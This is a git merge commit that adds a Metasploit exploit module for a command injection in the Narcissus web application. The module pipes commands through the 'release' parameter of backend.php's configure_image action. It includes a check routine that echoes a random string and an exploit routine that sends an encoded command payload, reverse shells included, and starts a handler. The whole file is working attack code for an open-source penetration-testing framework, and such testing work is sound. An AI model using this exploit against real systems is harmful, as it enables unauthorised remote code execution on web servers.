Merge branch 'narcissus' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-narcissus

Author: jvazquez-r7

modules/exploits/unix/webapp/narcissus_backend_exec.rb

@@ -0,0 +1,111 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "Narcissus Image Configuration Passthru Vulnerability",
+			'Description'    => %q{
+					This module exploits a vulnerability found in Narcissus' image configuration
+				function.  This is due to the backend.php file not handling the $release parameter
+				properly, and then passes it on to the configure_image() function.  In this
+				function, the $release parameter can be used to inject system commands for
+				passthru (a PHP function that's meant to be used to run a bash script by the
+				vulnerable application), which allows remote code execution under the context
+				of the web server.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'Dun',    #Original
+					'sinn3r'  #Metasploit
+				],
+			'References'     =>
+				[
+					[ 'EDB', '22709' ],
+					[ 'BID', '87410' ]
+				],
+			'Payload'        =>
+				{
+					'BadChars' => "\x00\x0d\x0a"
+				},
+			'Platform'       => ['unix', 'linux'],
+			'Arch'           => ARCH_CMD,
+			'Compat'         =>
+				{
+					'PayloadType' => 'cmd',
+					'RequiredCmd' => 'generic perl ruby python bash netcat-e'
+				},	
+			'Targets'        =>
+				[
+					['Narcissus', {}]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => "Nov 14 2012",
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptString.new('TARGETURI', [true, 'The URI path to the web application', '/narcissus-master/'])
+			], self.class)
+	end
+
+	def base
+		uri = target_uri.path
+		uri << '/' if uri[-1,1] != '/'
+		return uri
+	end
+
+	def peer
+		"#{rhost}:#{rport}"
+	end
+
+	def remote_exe(command)
+		res = send_request_cgi({
+			'uri'      => "#{base}backend.php",
+			'method'   => 'POST',
+			'encode_params' => false,
+			'vars_post' => {
+				'machine' => '0',
+				'action'  => 'configure_image',
+				'release' => "|#{command}"
+			}
+		})
+
+		vprint_line(res.body) if res
+		return res
+	end
+
+	def check
+		sig = rand_text_alpha(rand(10) + 5)  #The string to check
+
+		print_status("#{peer} - Looking for signature '#{sig}'...")
+		res = remote_exe("echo #{sig}")
+
+		if res and res.body =~ /#{sig}/
+			print_status("#{peer} - Signature '#{sig}' found.")
+			return Exploit::CheckCode::Vulnerable
+		else
+			print_status("#{peer} - Signature not found")
+			return Exploit::CheckCode::Safe
+		end
+	end
+
+	def exploit
+		print_status("#{peer} - Sending malicious request...")
+		remote_exe(payload.encoded)
+		handler
+	end
+
+
+end